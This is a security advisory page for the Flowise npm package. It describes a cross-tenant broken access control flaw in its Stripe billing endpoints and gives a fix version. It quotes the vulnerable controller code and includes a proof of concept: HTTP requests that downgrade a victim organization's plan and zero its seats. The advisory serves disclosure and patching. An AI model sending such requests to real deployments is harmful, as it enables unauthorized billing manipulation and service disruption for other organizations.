VDB
KO
HIGH

GHSA-gmmw-qg98-6j6p

Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation

Quick fix

GHSA-gmmw-qg98-6j6p — flowise: upgrade to the fixed version with the command below.

npm install flowise@3.1.3

Details

### Summary Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.

This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.

### Details Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.

**File**

packages/server/src/enterprise/routes/organization.route.ts

Affected routes:

```typescript router.post('/update-additional-seats', organizationController.updateAdditionalSeats) router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan) updateSubscriptionPlan ```

**File**

packages/server/src/enterprise/controllers/organization.controller.ts

```typescript public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) { const { subscriptionId, newPlanId, prorationDate } = req.body

const identityManager = getRunningExpressApp().identityManager

const result = await identityManager.updateSubscriptionPlan( req, subscriptionId, newPlanId, prorationDate )

return res.status(StatusCodes.OK).json(result) } ```

The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.

Missing validation: subscriptionId belongs to req.user.activeOrganization

updateAdditionalSeats

```typescript public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) { const { subscriptionId, quantity, prorationDate } = req.body

const identityManager = getRunningExpressApp().identityManager

const result = await identityManager.updateAdditionalSeats( subscriptionId, quantity, prorationDate )

return res.status(StatusCodes.OK).json(result) } ```

Again, the subscriptionId is taken directly from the request body without verifying ownership.

### PoC Step 1 - Obtain victim subscriptionId

This identifier may be obtained via the organization read endpoint or other exposed references.

Example:

sub_YYYYYYYYYYYY

Step 2 - Modify victim subscription

```http POST /api/v1/organization/update-subscription-plan Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json

{ "subscriptionId": "sub_YYYYYYYYYYYY", "newPlanId": "free_plan_id", "prorationDate": 1735689600 } ```

Step 3 - Change seat quantity

```http POST /api/v1/organization/update-additional-seats Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json

{ "subscriptionId": "sub_YYYYYYYYYYYY", "quantity": 0, "prorationDate": 1735689600 } ```

### Impact An authenticated attacker can manipulate the Stripe subscription of other organizations.

Possible consequences include:

- Unauthorized subscription upgrades to higher-priced plans - Manipulation of paid seat quantities leading to unintended charges - Service disruption through plan downgrades

Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / flowise
Introduced in: 0 Fixed in: 3.1.3
Fix npm install flowise@3.1.3

References